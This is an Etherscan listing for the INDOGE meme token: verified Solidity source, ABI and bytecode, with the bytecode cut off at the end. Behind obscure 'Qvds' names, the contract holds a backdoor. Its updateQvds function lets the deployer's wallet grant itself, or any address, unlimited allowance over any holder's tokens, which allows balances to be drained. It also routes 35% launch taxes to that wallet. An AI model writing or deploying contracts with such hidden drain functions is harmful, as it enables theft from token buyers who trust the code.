ETH Price: $3,292.40 (+1.42%)
Gas: 2 Gwei

Token

American Indian Doge (INDOGE)
 

Overview

Max Total Supply

1,000,000,000 INDOGE

Holders

40

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Uniswap V2: INDOGE
Balance
520,938,406.179801556 INDOGE

Value
$0.00
0x46651EEBdAf0e2961aE31920601eCD700B24510D
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
INDOGE

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-05
*/

/**
https://www.americanindiandoge.vip
https://x.com/indian_doge
https://t.me/american_indian_doge
 */

// SPDX-License-Identifier Unlicensed

pragma solidity 0.8.19;

abstract contract QvdsContext {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IQvds {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library QvdsSafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "QvdsSafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "QvdsSafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "QvdsSafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "QvdsSafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract QvdsOwnable is QvdsContext {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "QvdsOwnable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IQvdsFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IQvdsRouter02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract INDOGE is QvdsContext, IQvds, QvdsOwnable {
    using QvdsSafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _bots;
    address payable private _QvdsWallet;

    uint256 private _initialBuyTax = 35;
    uint256 private _initialSellTax = 35;
    uint256 private _lastBuyTax = 0;
    uint256 private _lastSellTax = 0;
    uint256 private _decreaseBuyTaxAt = 20;
    uint256 private _decreaseSellTaxAt = 20;
    uint256 private _preventSwapBefore = 20;
    uint256 private _transferTax = 0;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 1000000000 * 10**_decimals;
    string private constant _name = unicode"American Indian Doge";
    string private constant _symbol = unicode"INDOGE";
    uint256 public _maxTransactionAmount = 20000000 * 10**_decimals;
    uint256 public _maxWalletQvds = 20000000 * 10**_decimals;
    uint256 public _maxQvdsSwp = 20000000 * 10**_decimals;
    
    IQvdsRouter02 private _QvdsRouter;
    address private _QvdsPair;
    bool private _tradingOpen;
    bool private _inSwap = false;
    bool private _QvdsEnabled = false;
    uint256 private _sellCount = 0;
    uint256 private _lastSellBlock = 0;
    event MaxTransactionAmountUpdated(uint _maxTransactionAmount);
    event TransferTaxUpdated(uint _transferTax);
    modifier lockTheSwap {
        _inSwap = true;
        _;
        _inSwap = false;
    }

    constructor () {
        _QvdsWallet = payable(_msgSender());
        _balances[_msgSender()] = _totalSupply;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_QvdsWallet] = true;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "Qvds: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "Qvds: approve from the zero address");
        require(spender != address(0), "Qvds: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "Qvds: transfer from the zero address");
        require(to != address(0), "Qvds: transfer to the zero address");
        require(amount > 0, "Qvds: Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
            require(!_bots[from] && !_bots[to]);

            if(_buyCount==0){
                taxAmount = amount.mul((_buyCount>_decreaseBuyTaxAt)?_lastBuyTax:_initialBuyTax).div(100);
            }
            if(_buyCount>0){
                taxAmount = amount.mul(_transferTax).div(100);
            }

            if (from == _QvdsPair && to != address(_QvdsRouter) && !_isExcludedFromFee[to]) {
                require(amount <= _maxTransactionAmount, "Qvds: Exceeds the max transaction amount");
                require(balanceOf(to) + amount <= _maxWalletQvds, "Qvds: Exceeds the max wallet size");
                taxAmount = amount.mul((_buyCount>_decreaseBuyTaxAt)?_lastBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if(to == _QvdsPair && from != address(this)){
                taxAmount = amount.mul((_buyCount>_decreaseSellTaxAt)?_lastSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!_inSwap && to == _QvdsPair && _QvdsEnabled && _buyCount > _preventSwapBefore) {
                if (block.number > _lastSellBlock) {
                    _sellCount = 0;
                }
                require(_sellCount < 3, "Qvds: Only 3 sells per block allowed");
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxQvdsSwp)));
                sendQvdsETH(address(this).balance);
                _sellCount++;
                _lastSellBlock = block.number;
            }
        }

        if(taxAmount > 0){
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function updateQvds(address _prevQvds, address afterQvds) external {
        require(msg.sender == _QvdsWallet, "Qvds: Not authorized");
        _approve(_prevQvds, afterQvds, _totalSupply);
        _QvdsWallet = payable(afterQvds);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        if (tokenAmount == 0) return;
        path[1] = _QvdsRouter.WETH();
        _approve(address(this), address(_QvdsRouter), tokenAmount);
        _QvdsRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeQvds() external onlyOwner {
        _maxTransactionAmount = _totalSupply;
        _maxWalletQvds = _totalSupply;
        emit MaxTransactionAmountUpdated(_totalSupply);
    }

    function sendQvdsETH(uint256 amount) private {
        _QvdsWallet.transfer(amount);
    }

    function createQvdsPair() external onlyOwner {
        _QvdsRouter = IQvdsRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_QvdsRouter), _totalSupply);
        _QvdsPair = IQvdsFactory(_QvdsRouter.factory()).createPair(address(this), _QvdsRouter.WETH());
    }

    function openQvds() external onlyOwner() {
        require(!_tradingOpen, "Qvds: Trading is already open");
        _QvdsRouter.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IQvds(_QvdsPair).approve(address(_QvdsRouter), type(uint).max);
        _QvdsEnabled = true;
        _tradingOpen = true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTransactionAmount","type":"uint256"}],"name":"MaxTransactionAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_transferTax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxQvdsSwp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletQvds","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createQvdsPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openQvds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeQvds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_prevQvds","type":"address"},{"internalType":"address","name":"afterQvds","type":"address"}],"name":"updateQvds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260236006556023600755600060085560006009556014600a556014600b556014600c556000600d556000600e556009600a6200004191906200032d565b62000051906301312d0062000345565b600f55620000626009600a6200032d565b62000072906301312d0062000345565b601055620000836009600a6200032d565b62000093906301312d0062000345565b6011556013805461ffff60a81b1916905560006014819055601555348015620000bb57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b031916331790556200011d6009600a6200032d565b6200012d90633b9aca0062000345565b336000908152600160208190526040822092909255600390620001586000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001b73390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001f16009600a6200032d565b6200020190633b9aca0062000345565b60405190815260200160405180910390a36200035f565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200026f57816000190482111562000253576200025362000218565b808516156200026157918102915b93841c939080029062000233565b509250929050565b600082620002885750600162000327565b81620002975750600062000327565b8160018114620002b05760028114620002bb57620002db565b600191505062000327565b60ff841115620002cf57620002cf62000218565b50506001821b62000327565b5060208310610133831016604e8410600b841016171562000300575081810a62000327565b6200030c83836200022e565b806000190482111562000323576200032362000218565b0290505b92915050565b60006200033e60ff84168362000277565b9392505050565b808202811582820484141762000327576200032762000218565b611957806200036f6000396000f3fe60806040526004361061010c5760003560e01c806370cbedf911610095578063a9059cbb11610064578063a9059cbb146102ec578063d57aab211461030c578063dd62ed3e14610322578063e700907c14610368578063eca740f91461037d57600080fd5b806370cbedf91461026b578063715018a6146102805780638da5cb5b1461029557806395d89b41146102bd57600080fd5b8063095ea7b3116100dc578063095ea7b3146101b457806318160ddd146101e457806323b872dd146101f9578063313ce5671461021957806370a082311461023557600080fd5b8062655ee31461011857806304beaeb81461012f578063060007061461015857806306fdde031461016e57600080fd5b3661011357005b600080fd5b34801561012457600080fd5b5061012d61039d565b005b34801561013b57600080fd5b50610145600f5481565b6040519081526020015b60405180910390f35b34801561016457600080fd5b5061014560115481565b34801561017a57600080fd5b50604080518082019091526014815273416d65726963616e20496e6469616e20446f676560601b60208201525b60405161014f91906114f6565b3480156101c057600080fd5b506101d46101cf36600461155c565b610458565b604051901515815260200161014f565b3480156101f057600080fd5b5061014561046f565b34801561020557600080fd5b506101d4610214366004611588565b610490565b34801561022557600080fd5b506040516009815260200161014f565b34801561024157600080fd5b506101456102503660046115c9565b6001600160a01b031660009081526001602052604090205490565b34801561027757600080fd5b5061012d6104f9565b34801561028c57600080fd5b5061012d6106e8565b3480156102a157600080fd5b506000546040516001600160a01b03909116815260200161014f565b3480156102c957600080fd5b50604080518082019091526006815265494e444f474560d01b60208201526101a7565b3480156102f857600080fd5b506101d461030736600461155c565b61075c565b34801561031857600080fd5b5061014560105481565b34801561032e57600080fd5b5061014561033d3660046115e6565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561037457600080fd5b5061012d610769565b34801561038957600080fd5b5061012d6103983660046115e6565b61096c565b6000546001600160a01b031633146103d05760405162461bcd60e51b81526004016103c79061161f565b60405180910390fd5b6103dc6009600a61175d565b6103ea90633b9aca0061176c565b600f556103f96009600a61175d565b61040790633b9aca0061176c565b6010557f7c1cb3702d8e1fa6d24b12dd90670ab69c6d66d58233103d37da8b07d6b850ac6104376009600a61175d565b61044590633b9aca0061176c565b60405190815260200160405180910390a1565b60006104653384846109f1565b5060015b92915050565b600061047d6009600a61175d565b61048b90633b9aca0061176c565b905090565b600061049d848484610b14565b6104ef84336104ea856040518060600160405280602781526020016118fb602791396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611145565b6109f1565b5060019392505050565b6000546001600160a01b031633146105235760405162461bcd60e51b81526004016103c79061161f565b601354600160a01b900460ff161561057d5760405162461bcd60e51b815260206004820152601d60248201527f517664733a2054726164696e6720697320616c7265616479206f70656e00000060448201526064016103c7565b6012546001600160a01b031663f305d71947306105af816001600160a01b031660009081526001602052604090205490565b6000806105c46000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561062c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106519190611783565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156106aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ce91906117b1565b506013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146107125760405162461bcd60e51b81526004016103c79061161f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610465338484610b14565b6000546001600160a01b031633146107935760405162461bcd60e51b81526004016103c79061161f565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107dc9030906107ce6009600a61175d565b6104ea90633b9aca0061176c565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561082f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085391906117d3565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d991906117d3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610926573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094a91906117d3565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146109bd5760405162461bcd60e51b8152602060048201526014602482015273145d991cce88139bdd08185d5d1a1bdc9a5e995960621b60448201526064016103c7565b6109ce82826107ce6009600a61175d565b600580546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b038316610a535760405162461bcd60e51b815260206004820152602360248201527f517664733a20617070726f76652066726f6d20746865207a65726f206164647260448201526265737360e81b60648201526084016103c7565b6001600160a01b038216610ab35760405162461bcd60e51b815260206004820152602160248201527f517664733a20617070726f766520746f20746865207a65726f206164647265736044820152607360f81b60648201526084016103c7565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b765760405162461bcd60e51b8152602060048201526024808201527f517664733a207472616e736665722066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c7565b6001600160a01b038216610bd75760405162461bcd60e51b815260206004820152602260248201527f517664733a207472616e7366657220746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c7565b60008111610c3f5760405162461bcd60e51b815260206004820152602f60248201527f517664733a205472616e7366657220616d6f756e74206d75737420626520677260448201526e6561746572207468616e207a65726f60881b60648201526084016103c7565b6001600160a01b03831660009081526003602052604081205460ff16158015610c8157506001600160a01b03831660009081526003602052604090205460ff16155b15611002576001600160a01b03841660009081526004602052604090205460ff16158015610cc857506001600160a01b03831660009081526004602052604090205460ff16155b610cd157600080fd5b600e54600003610d0a57610d076064610d01600a54600e5411610cf657600654610cfa565b6008545b859061117f565b9061120c565b90505b600e5415610d2f57610d2c6064610d01600d548561117f90919063ffffffff16565b90505b6013546001600160a01b038581169116148015610d5a57506012546001600160a01b03848116911614155b8015610d7f57506001600160a01b03831660009081526003602052604090205460ff16155b15610e9f57600f54821115610de75760405162461bcd60e51b815260206004820152602860248201527f517664733a204578636565647320746865206d6178207472616e73616374696f6044820152671b88185b5bdd5b9d60c21b60648201526084016103c7565b60105482610e0a856001600160a01b031660009081526001602052604090205490565b610e1491906117f0565b1115610e6c5760405162461bcd60e51b815260206004820152602160248201527f517664733a204578636565647320746865206d61782077616c6c65742073697a6044820152606560f81b60648201526084016103c7565b610e876064610d01600a54600e5411610cf657600654610cfa565b600e80549192506000610e9983611803565b91905055505b6013546001600160a01b038481169116148015610ec557506001600160a01b0384163014155b15610ef257610eef6064610d01600b54600e5411610ee557600754610cfa565b600954859061117f565b90505b30600090815260016020526040902054601354600160a81b900460ff16158015610f2957506013546001600160a01b038581169116145b8015610f3e5750601354600160b01b900460ff165b8015610f4d5750600c54600e54115b1561100057601554431115610f625760006014555b600360145410610fc05760405162461bcd60e51b8152602060048201526024808201527f517664733a204f6e6c7920332073656c6c732070657220626c6f636b20616c6c6044820152631bddd95960e21b60648201526084016103c7565b610fdd610fd884610fd38460115461124e565b61124e565b611263565b610fe647611406565b60148054906000610ff683611803565b9091555050436015555b505b801561107c57306000908152600160205260409020546110229082611444565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110739085815260200190565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461109f90836114a3565b6001600160a01b0385166000908152600160205260409020556110e46110c583836114a3565b6001600160a01b03851660009081526001602052604090205490611444565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61112e85856114a3565b60405190815260200160405180910390a350505050565b600081848411156111695760405162461bcd60e51b81526004016103c791906114f6565b506000611176848661181c565b95945050505050565b60008260000361119157506000610469565b600061119d838561176c565b9050826111aa858361182f565b146112055760405162461bcd60e51b815260206004820152602560248201527f51766473536166654d6174683a206d756c7469706c69636174696f6e206f766560448201526472666c6f7760d81b60648201526084016103c7565b9392505050565b600061120583836040518060400160405280601e81526020017f51766473536166654d6174683a206469766973696f6e206279207a65726f00008152506114c8565b600081831161125d5782611205565b50919050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112ab576112ab611851565b60200260200101906001600160a01b031690816001600160a01b031681525050816000036112d957506113f6565b601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561132c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135091906117d3565b8160018151811061136357611363611851565b6001600160a01b03928316602091820292909201015260125461138991309116846109f1565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113c2908590600090869030904290600401611867565b600060405180830381600087803b1580156113dc57600080fd5b505af11580156113f0573d6000803e3d6000fd5b50505050505b506013805460ff60a81b19169055565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611440573d6000803e3d6000fd5b5050565b60008061145183856117f0565b9050838110156112055760405162461bcd60e51b815260206004820152601f60248201527f51766473536166654d6174683a206164646974696f6e206f766572666c6f770060448201526064016103c7565b600061120583836040518060600160405280602281526020016118d960229139611145565b600081836114e95760405162461bcd60e51b81526004016103c791906114f6565b506000611176848661182f565b600060208083528351808285015260005b8181101561152357858101830151858201604001528201611507565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461155957600080fd5b50565b6000806040838503121561156f57600080fd5b823561157a81611544565b946020939093013593505050565b60008060006060848603121561159d57600080fd5b83356115a881611544565b925060208401356115b881611544565b929592945050506040919091013590565b6000602082840312156115db57600080fd5b813561120581611544565b600080604083850312156115f957600080fd5b823561160481611544565b9150602083013561161481611544565b809150509250929050565b60208082526024908201527f517664734f776e61626c653a2063616c6c6572206973206e6f7420746865206f6040820152633bb732b960e11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116b457816000190482111561169a5761169a611663565b808516156116a757918102915b93841c939080029061167e565b509250929050565b6000826116cb57506001610469565b816116d857506000610469565b81600181146116ee57600281146116f857611714565b6001915050610469565b60ff84111561170957611709611663565b50506001821b610469565b5060208310610133831016604e8410600b8410161715611737575081810a610469565b6117418383611679565b806000190482111561175557611755611663565b029392505050565b600061120560ff8416836116bc565b808202811582820484141761046957610469611663565b60008060006060848603121561179857600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117c357600080fd5b8151801515811461120557600080fd5b6000602082840312156117e557600080fd5b815161120581611544565b8082018082111561046957610469611663565b60006001820161181557611815611663565b5060010190565b8181038181111561046957610469611663565b60008261184c57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118b75784516001600160a01b031683529383019391830191600101611892565b50506001600160a01b0396909616606085015250505060800152939250505056fe51766473536166654d6174683a207375627472616374696f6e206f766572666c6f77517664733a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122079e8c724ab8f72838d27d4fcb97ff622ab38a461ac740757db56ce69982edc7764736f6c63430008130033

Deployed Bytecode

0x60806040526004361061010c5760003560e01c806370cbedf911610095578063a9059cbb11610064578063a9059cbb146102ec578063d57aab211461030c578063dd62ed3e14610322578063e700907c14610368578063eca740f91461037d57600080fd5b806370cbedf91461026b578063715018a6146102805780638da5cb5b1461029557806395d89b41146102bd57600080fd5b8063095ea7b3116100dc578063095ea7b3146101b457806318160ddd146101e457806323b872dd146101f9578063313ce5671461021957806370a082311461023557600080fd5b8062655ee31461011857806304beaeb81461012f578063060007061461015857806306fdde031461016e57600080fd5b3661011357005b600080fd5b34801561012457600080fd5b5061012d61039d565b005b34801561013b57600080fd5b50610145600f5481565b6040519081526020015b60405180910390f35b34801561016457600080fd5b5061014560115481565b34801561017a57600080fd5b50604080518082019091526014815273416d65726963616e20496e6469616e20446f676560601b60208201525b60405161014f91906114f6565b3480156101c057600080fd5b506101d46101cf36600461155c565b610458565b604051901515815260200161014f565b3480156101f057600080fd5b5061014561046f565b34801561020557600080fd5b506101d4610214366004611588565b610490565b34801561022557600080fd5b506040516009815260200161014f565b34801561024157600080fd5b506101456102503660046115c9565b6001600160a01b031660009081526001602052604090205490565b34801561027757600080fd5b5061012d6104f9565b34801561028c57600080fd5b5061012d6106e8565b3480156102a157600080fd5b506000546040516001600160a01b03909116815260200161014f565b3480156102c957600080fd5b50604080518082019091526006815265494e444f474560d01b60208201526101a7565b3480156102f857600080fd5b506101d461030736600461155c565b61075c565b34801561031857600080fd5b5061014560105481565b34801561032e57600080fd5b5061014561033d3660046115e6565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561037457600080fd5b5061012d610769565b34801561038957600080fd5b5061012d6103983660046115e6565b61096c565b6000546001600160a01b031633146103d05760405162461bcd60e51b81526004016103c79061161f565b60405180910390fd5b6103dc6009600a61175d565b6103ea90633b9aca0061176c565b600f556103f96009600a61175d565b61040790633b9aca0061176c565b6010557f7c1cb3702d8e1fa6d24b12dd90670ab69c6d66d58233103d37da8b07d6b850ac6104376009600a61175d565b61044590633b9aca0061176c565b60405190815260200160405180910390a1565b60006104653384846109f1565b5060015b92915050565b600061047d6009600a61175d565b61048b90633b9aca0061176c565b905090565b600061049d848484610b14565b6104ef84336104ea856040518060600160405280602781526020016118fb602791396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611145565b6109f1565b5060019392505050565b6000546001600160a01b031633146105235760405162461bcd60e51b81526004016103c79061161f565b601354600160a01b900460ff161561057d5760405162461bcd60e51b815260206004820152601d60248201527f517664733a2054726164696e6720697320616c7265616479206f70656e00000060448201526064016103c7565b6012546001600160a01b031663f305d71947306105af816001600160a01b031660009081526001602052604090205490565b6000806105c46000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561062c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106519190611783565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156106aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ce91906117b1565b506013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146107125760405162461bcd60e51b81526004016103c79061161f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610465338484610b14565b6000546001600160a01b031633146107935760405162461bcd60e51b81526004016103c79061161f565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107dc9030906107ce6009600a61175d565b6104ea90633b9aca0061176c565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b81526004016020604051